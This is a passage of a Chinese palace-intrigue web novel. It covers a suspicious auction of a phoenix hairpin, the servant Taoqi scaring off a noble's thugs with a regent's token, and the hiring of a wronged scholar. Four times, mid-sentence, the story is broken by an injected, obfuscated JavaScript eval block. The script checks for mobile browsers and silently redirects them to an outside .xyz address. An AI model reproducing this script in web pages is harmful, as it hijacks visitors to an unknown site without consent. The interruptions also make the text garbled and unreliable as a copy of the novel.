当年，陇西姚氏族人入烨都后，姚鹤便将这件东西埋在了姚府地下，姚府抄家后，所有金银珠宝值钱物件都被搜刮一空。而那东西埋在地下三尺深，没有被挖走。桃七在穷途末路时想起了它，半夜回到姚府荒凉的旧址掘了出来，想拿它换钱，于是找了家打铁的铺子，把金钗熔成了普通的金子，想拿去卖，结果在打铁铺被铁匠勒索，损失了一半金子，又因为急着用钱，被金铺的老板压价，贱卖了，只换来了远低于那只金钗价钱的银子和铜板。 皇家饰品是每一位宫廷工匠熔铸了个人的心血打造而成，又是凤钗，不会在一开始造出一模一样的两件…… 不管怎么说，那件金钗早就已经被熔了，不可能是眼下拍卖的这一支。 桃七很想提醒宋无忌这件东西并不是真品。但是…… “七儿，记住，我们与这件东西以及它的主人没有任何关系…… 这是我们父女两之间的秘密，不能告诉任何人，包括你母亲，听到了吗？ 七儿，我们拉钩，一起将它遗忘，将那天的所有人，所有事情遗忘……” 父亲多年前的话语似还在耳畔，那时她听不懂父亲高深莫测的话，但她很乖巧地答应了父亲。 可是今日，为何又…… 阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006013|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂不散！简直阴魂不散！桃七无声将双臂扣紧了自己，用力得快要将手臂掐出道道血痕。 “七千八百两黄金。”那人出价的速度明显慢了，似乎也在斟酌。 不可以！不能说，你忘了了父亲告诉你的了吗？记住，你要忘记。 忘记我们与这金钗主人发生的一切。忘记这东西曾在自己手里熔得面目全非。忘记深深埋藏在地底的一切……不再与它发生任何牵连。 所以，我不能说一个字。 “七千九百两，黄金……”宋无忌一字一句，拖长了语调。 “一万两黄金！”破釜沉舟的一身暴喝。 不对！桃七突然像是被砸中，彻底醒悟了一般。 “王爷……”宋无忌举拍的手臂被人轻缓地按下，桃七在他身边谨小慎微地笑着，“打肿脸充胖子这种行为，一点也不符合您的身份。就听千侍卫的吧。若您实在喜欢这凤钗，想买回去博佳人一笑。小的可代您与卖家交涉一番，付些金子，让他借给咱们一天，再请工匠师父描个模样出来，回去自己打一支，如此岂不两全其美？” 宋无忌戴着面具的脸缓慢地转了过来。 他看他，波澜不兴的冰冷眼眸，抿成一条直线的唇，陡峭锋利的下颌一动不动，让桃七更加心里发毛。 良久，他的眼里漫上了笑意，淡淡道：“嗯，小七说得有道理。” 千叶长长地泄了一口气，差点没坐到地上。 他居然听进了自己的话？桃七呼吸停顿住了，千万般地难以相信。 宋王八这反应太奇怪了，想破了脑袋也想不出来他想干什么。 难道他一到拍卖场就中邪？就跟上次买我的时候一样？我拍一下他的胳膊，把他身上的小鬼赶走后，他就能恢复正常？ 后知后觉才发现宋无忌对自己的称呼变了——什么小七？恶心！谁准你这么叫我的？桃七的鸡皮疙瘩一圈圈荡漾开了。 “王、王爷还是唤奴才桃七便好，这么叫，挺奇怪的，呵呵呵……” 宋无忌冲他微笑，既危险，又温柔。 见鬼了，上身的鬼换了一个！ “一万两黄金，这是本拍卖场有史以来报出的最高价。西边四排二十六座的贵客，期待您的新一次出价。”落槌女郎还在催人竞价，真是贪心不足。 然而，这次，宋无忌却没有再跟了。 桃七试探着说：“王爷？” “这件东西的确有过人之处，一万两黄金也算对得起它的价值，在下愿意成人之美，让给其他客人。”宋无忌道，一双眼睛却直勾勾看着桃七。 落槌女郎见戴面具的客人反应如此，失落道：“如此，一万两黄金第一次……” “王爷，其实您也不用这么听我的建议……”桃七一脸不好意思的神情。 “一万两黄金第二次……”落槌女郎缓慢拿起了紫檀木小槌。 “我就是随便劝劝，若那金钗真的对您很重要……” “一万两黄金第三次……” “您如果事后后悔了，我可不负责啊……” 咚！ 一切尘埃落定。 满座起立，对那位东座的豪客投去佩服的注目。 可毫无预兆地，落槌女郎发出一阵刺耳的尖叫！ “金钗……金钗呢？” 众人纷纷向那张齐胸高的展示桌看去。 只见那细细的红酸枝架子上，原本放着的暗金色微微发旧的金钗，却已不翼而飞！ 14. 智破奇技路遇不平 “价值一万两黄金的拍品，居然在众目睽睽之下，消失了！！！” 在满堂震惊的抽气声中，宋无忌起身，拂了拂衣角的微尘：“走吧。” 宋无忌转身离去，毫无留恋。 “东家！”桃七追了上去，“为什么，您知道吗？” 宋无忌不答，依旧是那副云淡风轻的模样，似乎刚才发生的一切都不值得去挂心。又似乎，他就是背后的执棋者…… 桃七又看了看千叶，千叶道：“我也捉摸不透，明明是大庭广众之下，我就一转眼，东西就不见了。不过东家运筹帷幄，这一切应当都在东家的把握之中。” 三人来到一间茶肆，在这烨都地下，居然还有一栋两层的茶楼，第二层还是包间雅座。 叫了茶水点心，很快就上上来了。 关上了门，三人才摘了面具。经过刚才那一遭，桃七已经口干舌燥，可他还记着自己的身份，伶俐地先给宋无忌倒上一杯。之后和千叶一道在两边站着。 “都坐吧。” “谢王爷。”千叶就坐了。桃七也没扭捏，坐下又给千叶倒了一杯茶，最后才轮着自己。完了端着茶碗，斯斯文文啜了一口。 “都看明白了些什么？” 桃七不答，千叶抱拳，低头：“属下愚钝，没看出什么名堂，辜负了王爷特意领着属下来一次。” “你呢？”宋无忌捏着那茶盏，并不看桃七。但那语气一出来，在场的都知道是在问谁。 桃七感觉宋无忌手里那小茶盏就是自己，里头有些什么水货，黑的白的，红的绿的，一清二楚，一松手，就砸在地上摔个稀巴烂。 “呵呵，奴才也看不太明白，不过……” 桃七迟疑了一下，“奴才发现了一些细节，似乎有违常理之处，不过很可能只是奴才的臆断……” “但说无妨。” 桃七顿了顿，做出冥思苦想之状，道：“奴才观前几样拍卖物，例如三百年灵芝，象牙猪龙雕刻、镶金翡翠鼻烟壶等，都是伙计被徒手拿着放上展示的桌案的。而那只凤钗，原是置放在木质架台上由托盘一并送上桌，但是伙计在将东西从托盘转移到桌案上时候，手拿的却是那木质架台的两边，而不是凤钗本身。如果是奴才，断不敢如此做事，因为托举着架台，上面的金钗必定上十分不稳，一不留神便会掉落下来，损坏拍品……” 宋无忌终于偏头扫了他一眼，手上咔哒一声，茶盏盖子一合，把个桃七弄得三魂出窍，连忙闭嘴。 “怎么不继续说了？” “奴才只看到了这些，其他再也猜不出来了……” 宋无忌突然哈哈笑了两声：“真是出乎本王预料，小七你还真是心细如发，三言两语道出了关窍。” 连千叶也看着桃七，眼睛里全是不敢信。 “奴才只是胡说了一通，实在不知误打误撞说的是关窍，恳请王爷解惑。” “王爷，到底发生了什么？属下是真的很想知道。”千叶道。 宋无忌续道：“如果是你们，在什么情况下宁愿拿那不稳的架台，也不拿东西呢？” 千叶手里的茶盏在桌面一撴，洒出来些许：“莫不是那东西沾了剧毒。” “是太烫了吗？”桃七道：“又或者是太冷。奴才冬日里去河里取冰，或者去炉子里夹炭，都得用工具。” 宋无忌又吹了吹杯盏里的浮沫，小啜一口，眉心微蹙，似乎不合心意。 “那凤钗是纯金打造的，即便过冷过热，对金子没有任何影响，拍卖堂的人把金钗弄成那样完全没道理。”千叶不服气地对桃七说。 “是谁说凤钗是金子做的？”宋无忌道。他话里话外，好像是在支持桃七的意思。 “不是金子？拍卖场从前朝就有了，号称老字号童叟无欺，他们不是造假吗？”千叶惊道。 桃七思量道：“不，他们没有欺骗任何人，在凤钗端上来时，主槌那女子就介绍得语焉不详，我隐约记得她是怎么说的，完全没提到纯金打造的这一字眼，也没确认这金钗的来历。一开始座中的客人对它不太感兴趣，但很快，就有第一个人出价五百两，于是靠着那人的出价，以及拍卖场的名声，没人去质疑那凤钗到底是什么材质。” 真正的凤钗早已在火炉中化成一小滩金灿灿灼热金属，这是桃七眼睁睁看着的，只有她一个人知晓。而这支假钗，看来假得彻彻底底，由内而外。 千叶道：“不是金的，那还是什么呢？属下真是一头雾水。”末了，他还看看桃七，心里冒出了一股不甘心，自己居然还不如这个泼皮无赖看得透。 桃七闭上了嘴，心里暗下决心，点到即止，再也不说了。 “《神农本草经》，中品，玉石部，第一篇，”宋无忌莫名其妙来了这么几句，“回去抄写十遍。” “啊！”桃七抱头痛呼，“奴才不识字！” “叫你了吗？”宋无忌扫他一眼，眸子有明显的厌恶，桃七就是桃七，安静不过一个时辰，他放下不能入口的茶水，看向千叶：“今日下了值，这就是你的功课，明日拿来给本王看。” “哈！”桃七幸灾乐祸地瞪千叶。 “是。”千叶低头一揖，不敢表现出一丝不满。 “至于你，”宋无忌复又看向桃七，“我要你今后在此地常驻三月，代理本王在这地下拍卖场摸索一番。日后，你还要带领其余人，在此地发展出属于摄政王府的势力。” 桃七听了，用手指指着自己，一副如坠云雾的表情，配合不可置信的语调：“我？” 宋无忌给了他一个肯定的眼神，表示他可堪重任。 “王爷，您开什么玩笑？这实在是……小的不会啊。” “不会可以学，本王已经看出，小七能屈能伸，为人圆融变通，趋利避害，胆子大，脾气也大，不会被欺负。最重要的是心细如发，学习能力强，一点就通，一学就会。刚才那就是对你的考验，而你完美通过，没有让本王失望。你是本王所能找到执行这项任务的最佳人选。” 桃七听了，真想抽自己一巴掌，刚才干脆做个锯嘴葫芦装傻充愣了，多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006014|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么嘴啊枪打出头鸟。 “可是王爷，这儿离咱们王府实在太远了，奴才一天到晚来来回回的，太耗费时间，怎么能安下心来助力王爷的宏图霸业呢？” “这个不难，你平日里就住在举辉堂的里，方便你随时下来。” 桃七愣住了。 住在举辉堂？ 那岂不是既能远离这恶毒阴狠的宋王八，还能去寻找那个喂药的神秘人。等想办法破了那药丸的效力，他就可以…… 海阔凭鱼跃，天高任鸟飞，远离宋王八，活到九十八。没有比这更好的逃跑条件了。 “既然王府值此用人之际，桃七也不好过多推辞，属下定不负王爷托付！” 桃七把心一横，身子一竖，起来恭恭敬敬做了个大揖。连自称也变了，王府家奴摇身一变，成了同千叶万青一般的得力下属。 宋无忌在他肩上拍了一拍，朝他放出一个若有似无的笑容，可眼底分明是彻骨霜寒，气势慑人，把桃七看得整个人一震，平白生出一种这辈子都跑不掉了的绝望。 * 桃七在举辉堂顶楼占了间上房，过上了伸手衣不来，张口饭不至的生活。 “姓宋的抠门精，一月只给我半贯铜板，这么点钱，够花么？”桃七已经连续吃了三顿阳春面，摄政王府里管理府上内务的管事只给他这么些，说是王爷知道他在外花销大，特意吩咐给他支取了这月的月例银子，瞧瞧，多体贴。 一共五百个铜板，一碗阳春面，三个铜板，一日三碗，一月九十碗，就是二百七十文，可以跟面谈老板讲讲价，或许可以便宜到二百五十文。还剩下二百五十文…… 桃七越算越觉得自己是二百五。他要逃走，就得攒够银子，还得弄到官府开的户籍证明，不然他就是私逃的家奴，有些人专门留意这样的逃奴，捉住了押送官府里问主人家要赏钱，已经发展成了专门的营生。逃奴在送到官府之前，很可能家仆被虐待，婢女被凌.辱。可不是好玩的。 所以他必须上上下下都得打点好了才行，这么几个铜板，连买身像样的衣裳伪装伪装都不够。 吃这方面只能算是饿不死，觉还是能睡足的。他在举辉堂饱睡足足两日，终于是想起了宋无忌交付给自己的“任务”。 千叶将进入地下拍卖场的暗语告诉了他。第二次，他是戴上了面具一个人进去的。 已经没有了第一次的新鲜感，他仅在拍卖场外的几间铺子门口略微逛了逛，就遇到了热闹。 那是一间鉴宝阁，只不过规模比较小，比不上这条“小街”正对着拍卖场门口的那一家生意红火，在角落里设了个小门厅，门口的蜡烛也不够多，不够亮，所以平日里显得尤为冷清。 只不过这时，门口聚满了来瞧热闹的人。呜呜啦啦聚在一起，也不知在看什么。桃七拨开人群，差点把面具挤掉，便听见一阵乒铃乓啷的摔打之声。 “我说你个掌柜的，听不懂人话是不是？你就把这小白脸卖给我们怎么了？这么多钱，还怕买不着一个伶俐些的伙计吗？” 15. 非即是巧化事生非 七八名家丁打扮的武夫，看起来是烨都煊赫人家宅院里养的看家护院的打手，围堵住这爿小小的店面。店门口站着位年过半百的掌柜，腿脚不便还拄着拐杖，神情慌张，求这帮人不要动手，一看就是老实本分的生意人。 店内还站着位文士打扮的青年男子，象牙色麻布长袍，手肘处打着补丁，简朴洁净，额上一根细细的眉勒，脸色白皙，甚至透着病气，恹恹的没什么男子气概。 那男子扶着柜台，拳头握紧，双目赤红一片，表情是血淋淋的忍辱负重。 “那不是宝泉阁的账房先生吗？”瞧热闹的人指着那位抱着账册的书生。 “是啊，这些人气势汹汹地找他干什么？” “听说还要从徐掌柜手里把他买去，已经来了好多回了，价格从一百两涨到了五百两！” “嚯！这么大手笔。” “这江先生生的面白无须，弱质纤纤，难不成是被看上了……哈哈哈哈……”围观之人发出意味深长的笑。 桃七拧起了眉头。 “大官人，江先生与我并没有签卖身契，他是自由身，我只是雇他在我店里做账房，我不能做主卖他啊！” “老子管你是雇工还是什么，乖乖把他交给我们，重新雇个人，往后安安生生做生意，不好吗？” 掌柜的苦涩哀求道：“可是，这种事儿，江先生自己不愿意，你们逼他，这怎么成！” 那位江先生在徐老板的店里做了半年多的账房，徐老板就如此护着他，众人都被徐老板的仗义感动了。 “你个老顽固，”领头的那个踹了徐掌柜一脚。徐掌柜站立不稳，拐杖都掉了，人也踉踉跄跄快要一头栽倒。羸弱的江先生快速跑来，把掌柜的托了起来，不然今日后脑勺得开花。 “掌柜的，你没事吧。”羸弱的青年又焦急又愧疚。 “我没事，就是你，唉，他们……唉……”徐掌柜有心帮他顶着，看样子也顶不住了。 青年怒视那伙恃强凌弱之徒，眸中怒火灼灼：“你们，在烨都地下还敢如此闹事，就不怕惹恼这地下拍卖场的主人吗？” “哼！”打头的武夫完全不把他放在眼里，“我管你地上地下？到了哪里，都得认身上的官服，认手里的票子！你得罪了我们家少爷，就算躲到皇宫里也没用！” 地下拍卖场是黑色产业，此地的惯例是隐瞒身份避免麻烦，这几个家奴武夫如此嚣张跋扈，说明其背后的主子身份高到了一定的份儿上，才敢如此无法无天，至少要比主管京畿政务和治安的京兆尹要大。 也正因为他们趾高气昂，无视规则，看热闹的人才不敢站出来阻止，怕惹到大势力。 但桃七知道，再大的官儿，也是大不过摄政王的。毕竟连大岐的皇帝，大部分时候都得顺着宋无忌来。 宋王八，既然你让我为你办事，那拿你的名头出来用一用，你也不会介意吧？ 那厢家丁步步紧逼，白面江书生又铁骨铮铮，誓不受此大辱，多说无益，几个武夫已经拿起家伙什儿打砸起来了。 三个人围着江书生和掌柜打，其余四五个就去砸他们的店面，先是招牌被扯下来，摔得四分五裂，他们还想进去砸更多东西，就在这时候，不知何处冲出来一个其貌不扬的灰衣少年，闷头急走，横冲直撞地经过，不幸被一个武夫扛着碎了一半的牌匾正正砸了一下，呜呼一声大叫，重重摔在地上。 所有人都楞了一下，那几个武夫一开始以为是有人想为这书生出头，于是拎起棍子打算将这少年一并痛扁一顿再说。可是那少年捂着脑袋坐了起来，看了看四周，然后开始在怀里摸索，一副神慌意乱，三魂失了六魄的样子，边摸索边道：“我的东西呢？我的腰牌呢？” 武夫的头儿便恶狠狠地问：“小子，你是哪条道上混的？你在找什么？” “我的东西呢？我的……东西呢？！”桃七不理会他，只顾埋头在地上找东西。 众人见他焦急成这样，不由得也在地上留意起来，很快，有位脸戴面具的中年男子捡起了地上的一块黄色的腰牌，说：“小哥是不是在找这个？” 众人一齐看过去，桃七见了，道：“是我的东西，你别动！谁也别看！！不然我挖了你们的眼珠子！” 他不说还好，一说别看，那是个人也要看上一眼了。 于是，只一眼的功夫，不知多少人，喉咙里发出嘶嘶嘶的冷气。 “摄政王府！” “摄政王府的腰牌！” “他是宋无忌的人！” “看那颜色，这人品级不低，一定是摄政王的心腹！” “完了完了完了……”这时已有人脚底抹油开始溜了，没戴面具的也都开始找面具戴起来，纱巾围起来了。 几个家丁武夫闻之也微微色变，但是仅凭一块腰牌，还说明不了什么，那个头儿还强撑着气势，问桃七：“你是摄政王府的人？” “谁说我是摄政王府的人？”少年语气如数九寒冬，神色肃穆冷厉，“你们哪只眼睛看到，我，是摄政王府的人。” 他若承认自己是，这些人还不一定信，然而他用森严的语气否认自己的身份，用看死人一般的眼神看着他们，便是实打实的坐实了他们的猜想。 毕竟在这黑市拍卖场，没几个人是想暴露自己身份的。所以正经的宋无忌的属下，在这种情形下，做出此等反应，那实在是太正宗，太靠谱，太对味了。 “这气势……”围观人群见识到这位衣着简朴的少年的惊天气势，脚底抹油的就更多了。 连被人欺负的徐掌柜和江书生也忧心忡忡地看着桃七，担心自己卷入了更大的祸患之中。 “我的东西呢？”桃七顾不得其他，继续在地上搜索，显得十分崩溃，“主子交代给我的重大机密，我一定要交付给那位大人……那东西呢？” “什……什么东西。”武夫的头子已经两腿战战，几欲逃走。 “什么东西，是你配问的吗？”桃七怒而大骂，慌得不知在做什么的模样，又在怀里掏了几下，手一上一下的过程中，又掉出来一块系着穗子的东西。 众人还是没忍住好奇心，看了过去。 “举辉堂上房的钥匙牌！” “这种房间住一日就要花二两纹银，绝不是这种衣着打扮的少年能享受得起的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006015|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这年轻人绝对是伪装过的，实际大有来头。” 那少年完全不理会这些议论，只顾迫切地在地上寻找，嘴里不停地喃喃，仿佛在找自己的命根子。 “是你！”桃七突然冲上前，拎起那个扇了自己一牌匾的武夫的领子，“是你把主子交付给我的东西给打掉的！你给我还回来！！！” 那武夫额上冷汗狂冒，一点也不敢反抗。 武夫头子质问：“到底怎么回事？林四，你打了他一下，他的东西就甩出去了？你有没有看见东西掉哪儿去了？” “我，我不知道是什么东西。”名为林四的武夫惊慌道，“是他，是这小子自己突然冲出来，我没看着就……就拍了他一下，哪有什么东西？” “狡辩！”桃七疯狂怒吼，“这里是什么地方，是你们这群小虾米闹事的地方吗？你们这伙人分明就是计划好的。我要带你们回去见我主子，酷刑伺候，一定要把你们背后主使给挖出来！” 头子心里发怵，双腿控制不住地哆嗦，“小哥，小哥有话好好说，我们绝对不是故意的。” “还不快找！军情机密，晚一时一刻，你们担待得起吗？” “好好好，我们马上帮大人找！”武夫们亡魂大冒，嘴上这么说着，心里其实已经在计划怎么跑路了。 “找不到，就是被人私藏拿走了。”桃七突然想起来什么一般，高声命令：“还有刚才在这里的所有人，统统给我抓回来！本官要一一审问！” 边说，他还伸出食指，往下狠狠一指，做出誓要将此地掘地三尺的劲头。 听见这些话，谁还敢留在这儿，剩下一小半的看客如飞而逃。 而那几名家丁武夫，也“机灵”地随着人流，溜得没了影儿。 桃七终于停下了不断转动的脖子，伸了个懒腰，转身，慢慢走到店铺的主人和那孱弱书生面前，面露微笑地看着他们。 徐掌柜还是控制不住哆嗦，当即就要下跪：“大人的重要之物在小人店前丢失，小人有不可推卸的责任……” 桃七赶紧将他扶了起来：“掌柜请起。” “求大人饶命……”徐掌柜没敢起来。 那白面书生看了几眼桃七，也同他一起把徐掌柜扶正了，说：“掌柜的，你也被骗了，其实根本没有丢什么东西，是吧？”最后，他看着桃七说。 桃七嘻嘻一笑：“你还挺聪明的，看出来我是专程为你们解围的了。” “不，其实并没有。” 桃七挑了挑眉。 “毕竟不是所有人都能随随便便拿出摄政王府的腰牌和举辉堂的房门钥匙。”白面书生突然扑通一声跪了下来，双臂伸直了往前一趴：“谢贵人仗义出手，救江某于危难。” 桃七扶了这个扶那个：“起来起来起来，小爷我一天天的不知道折多少寿。” 白面书生起来后，拍了拍衣襟上的灰尘，还整了两下被打时弄乱的发髻和眉勒，看出来是个爱干净的主。桃七笑着问：“可以同我说说，是怎么一回事吗？” 闻言，那书生萎靡地垂下了眸子，幽幽叹了口气，举了举手示意：“进去说吧。” 16. 添助力勇闯天香楼 原来，账房先生名叫江跃亭，出身江西，祖上也是当过七品知县的清贵人家，可惜后来落没了。好不容易出了他一个天资聪颖的后辈，家里人悉心培养，甚至为方便他科举，居家迁徙进京。岂料不小心惹了当地权贵，家人横死，他独自一人报官无门反被毒打，科举也落了榜，走投无路下，最后流落到烨都地下小店“宝泉斋”当个账房，混口饭吃。 这权贵，便是当朝工部尚书魏渭塘的嫡子魏连齐，魏府祖上是开国功臣，簪缨世家，魏渭塘是正儿八经的从一品大员，得罪了他的儿子，江跃亭一家果真就一个字——惨！ 苟活了半年，不幸的是，前阵子他的下落还是被魏府找到了，魏府派人三不五时地来地下拍卖场抓人，好几次他都躲出去了，不过今天这次他被抓个正着，眼看就要落入魏连齐手里，幸亏桃七出来吓走了那伙打手。 诉说这段经历时，江跃亭是咬牙切齿，双眼红通通的似是要滴血，那么文弱的一个书生，居然砸了杯子，在桌上狠狠敲了好几下。 原来不是世家子弟看上他了，而是结仇啊。桃七抿了口茶，问道：“那你以后有什么打算？我一走，他们还会来。” 江跃亭看了眼徐掌柜，徐掌柜也愁苦地看着他，眼角皱纹诉说着沧桑：“实不相瞒，江先生来了半年，就让小店扭亏为盈，生意起色了不少，若不是江先生，小老儿的店面半年前就盘出去了，小老儿打心眼里欣赏先生。不过，这仇家三不五时找上门，也不是个长久的……” “我知道，所以，我不会留在这里了。”江跃亭起身，对徐掌柜作揖，“您在江某走投无路时候收留我，我很是感激，可我却给宝泉斋带来麻烦，实在是……” 他看了眼残破的地面，被砸成两半的牌匾，心痛难忍：“损耗的物件，江某定会弥补。” “那些不算什么，值钱的是货物，你不是都收好了吗，改日我将地面平整平整，这家店，还是盘出去吧。”徐掌柜摆摆手，落寞地说。 “这样也好。” 店都盘出去了，江跃亭也丢了饭碗没地方去了，得罪了魏府，想必全烨都再也没有他的容身之地了。 “先生以后有何打算？”掌柜问。 “我想还是离开烨都，回江西老家算了。不过，在离开之前，我要做一件大事。”江跃亭放在桌面上的手捏成了拳。 “先生你可千万别想不开呐，那些大官人你惹不起的。” “掌柜放心，”江跃亭宽慰道，“我不是要去跟他们硬碰硬，我是得到了可靠消息，半年前春闱，吏部尚书迟子廉的儿子，为了考取好名次，贿赂了礼部某位抄题的员外郎，得到考题，在会试上舞弊，还把考题卖给许多世家公子，而魏连齐就是买主之一。我打算在殿试结束后，敲登闻鼓，向礼部检举告发，按照律令，礼部必须调取他们的试卷，多方比较，最后一定会找出相似的答卷。” 徐掌柜：“真的可行吗？还要拉下其他大官，不是得罪更多人吗？” “待我检举成功，我就立刻离开烨都，若我回乡前死了……那就死了吧！” “等等！”桃七脱口而出，“你是如何知晓迟子廉的儿子泄题买题的？” “一开始我也是听说的，那天有个在西市飞仙阁吃酒的文士，与我一般也是今春春闱考生，酒后提起迟府公子迟悠曾向他兜售过会试考题，二百两纹银一份，若要答案，还需再加二百两。他掏不起这笔钱，加上怀疑那根本不是真正的考题，所以并未购买，但迟悠为了取得他的信任，以口述的方式透露出来几道。真到了考场上看了卷子，发觉其中有四五道被迟悠押对了，于是懊悔不迭。会试放榜后，他落了榜，愈加郁闷，于是借酒浇愁，在酒肆与同乡考生说了这件事。我恰好在隔壁桌听得。” “听见这事的考生不少，怎么他们不去告发？”桃七问。 “酒后之言如何当真，加上没有物证，大多数人也只是当个消遣听听，不敢去得罪迟家。” “那你又如何肯定，此事确凿无疑呢？” “因为我找到了物证！”江跃亭义愤填膺道，“我想，迟悠都兜售到外地考生头上来了，那京中其他世家子弟儿子，必定也从他那里得到过考题。于是，我便去刨了位于北边城郊魏家下人填埋秽物的“灰坑”，果然在里面找到了写有考题的残破纸页，而且那上头还有大儒写的答案。我又打听得那处灰坑是三月填埋的，早于春闱一个半个月，说明他们早在春闱前，就拿到了考题！” 兜售考题的是迟家公子迟悠，他要报复的是魏家公子魏连齐，二者买卖考题是他的猜想，可仅凭猜想，他便付诸行动，扒了臭气连天的灰坑，最后还真让他找到了点东西，这位江先生还真是能人所不能。 “可那残破纸页已经从灰坑中掘出，无法证明他就是春闱之前就存在的，这般物证，怕是无力。”桃七遗憾道。 “他们亲笔写下的相似答卷就是最有力的物证！” 桃七想了想，问：“除了这件，你还知道哪些烨都官员的佚闻？” “这……”江跃亭思索了片刻。 有资格成为拍卖场常客的都不是什么平民百姓，三杯酒下肚，话引子一开，总能从这些人口里探听到一些消息。三教九流，江湖庙堂，京兆尹府娶了第八房小妾，大国舅吃饭一塞牙就往仆人身上撒气，新科进士花钱雇人代笔去宴会上卖弄……无所不有。而江跃亭平日里最是喜欢留心这些，一口气就能说出十七八件，其中有一半连徐掌柜都没听过。 “您打听这些，是有什么用吗？” “正是。”桃七用一种欣赏的目光看着他，“检举一事，需要从长计议。眼下，不如……你就到我这里来干事吧。” 掌柜和江跃亭都看着他。 宋无忌给他的任务是在此地培植势力，桃七需要人才，也要消息，首先要做的就是将地下拍卖场熟悉起来，他怎么看江跃亭都是十分合适的人选。 “贵人那边需要人手？”江跃亭眸中又跳跃起希望的火苗。 “这个嘛，我的生意刚起步，的确需要，刚听闻先生是算账的一把好手，此等人才，我岂能放过？”桃七打着哈哈道。 江跃亭：“敢问，贵人做的是何生意？” “说实话，这个还得问问我的主家，我也是替人办事。” “贵人的主家，莫不是……”江跃亭蹙了蹙眉。 他想确认桃七到底是不是摄政王的手下，桃七虽然掏出了王府的腰牌，可他自己从没确认过。而且说实话，桃七的气质，看起来不像是摄政王府会用的人。 桃七却打起了禅机，压低了声音，摇了摇两指道：“天机不可泄露。你只要知道，我背靠之人，地位绝对比你的仇家大，有能力保下你。” 江跃亭早听闻过宋无忌的名声，是烨都最惹不起的阎王，把持朝纲七年之久，杀忠臣，屠良将，为非作歹。江跃亭心里不齿为这种人做事，可是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006016|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白，唯有摄政王宋无忌这般的势力，才能给予他荫庇。 毕竟，他忍辱负重留在烨都，也是怀着一颗复仇的种子。 江跃亭五指掐紧了桌子边缘，天人交战一番，最后端起茶壶，一口闷下：“能活得下去，就已是万幸了。我要留在烨都，留在这天下第一都城里，我还要出人头地，我要让今日所有欺负过我的人，都付出代价！” “好！”桃七用力拍了两下手掌，志气昂扬道，“我没有看错，江先生果然是文采与志向兼备之人，我十分地看好你。” 江跃亭红着脸，与桃七重重握拳。 徐掌柜在旁边看的热泪盈眶，亲自去后厨给他们炒了两个小菜，他推测这两活宝今日要在他店里结拜。 一腔意气是真，现实问题也需要解决一下。江跃亭犹豫了片刻，搓了搓手，腆着脸问起了细节：“不知贵人那儿给账房开多少工钱？” “诶，说起来我的出生比你低贱多了，还喊什么贵人，你以后就叫我……班头好了。” “好的，班头。”江跃亭立即改口，“班头那儿给账房开多少工钱？” 桃七见躲不过这个话题，只好抹了两把额头，朝他笑：“你猜。” “两贯？”其实徐掌柜给他每月开三贯银子，江跃亭不好意思说这个数，还自己给自己压了压价。 桃七摇头。 “一贯？” 桃七摇头。 “半贯？” 桃七拍了下手，江跃亭终于松了口气，心道至少饿不死，留得青山在，不怕不能找兼职。却听桃七拍了拍他的肩，道：“距离的理想薪资已经很近了，半贯的一半。” 江跃亭心凉了半截。 桃七微笑。 江跃亭斯文地理了理衣襟，欲言又止，小声道：“二百五十文，确实有点低……润笔费都不够……” 桃七以为自个儿给他找了个好归宿，不料人家还嫌弃工钱低，归根到底全赖那扣门王八。 “不过，我愿意。”江跃亭道。 “你真愿意？”桃七瞪大了眼睛，向他确认。 “嗯！” “你果然不是贪心之人，我没有看错。” “生意起步哪有不艰难的，我相信以后班头的生意一定会红火起来，届时还怕养不活自己吗？” 桃七还没想好怎么挽留他，人家先说服了自个儿，说明他留在烨都的愿望非同一般地大。 “那是自然！” 这一日，二人把酒言欢，晚间桃七就带着江跃亭去举辉堂的上房过夜，二人同塌而眠，夜话三更，说尽胸中不平事，道尽平生凌云志。 然而，当吃了三日的阳春面后，二人逐渐变得眼里无光，脚下虚浮，心中失去希望，江跃亭身上原本恹恹的三分病气也变成了五分。 